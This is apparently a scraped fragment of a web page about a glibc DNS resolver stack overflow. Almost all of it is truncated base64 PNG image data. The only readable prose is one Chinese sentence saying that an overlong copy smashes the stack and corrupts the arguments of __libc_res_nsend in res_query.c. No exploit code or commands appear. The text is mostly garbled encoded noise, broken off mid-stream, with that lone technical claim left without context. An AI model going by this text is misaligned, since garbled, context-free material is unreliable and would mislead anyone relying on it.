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" alt="" />
直到MAXPACKET,这导致了stack smash,由于父函数传入了指针,stack smash导致了父函数,即res_query.c中__libc_res_nsend的参数被污染
aaarticlea/png;base64,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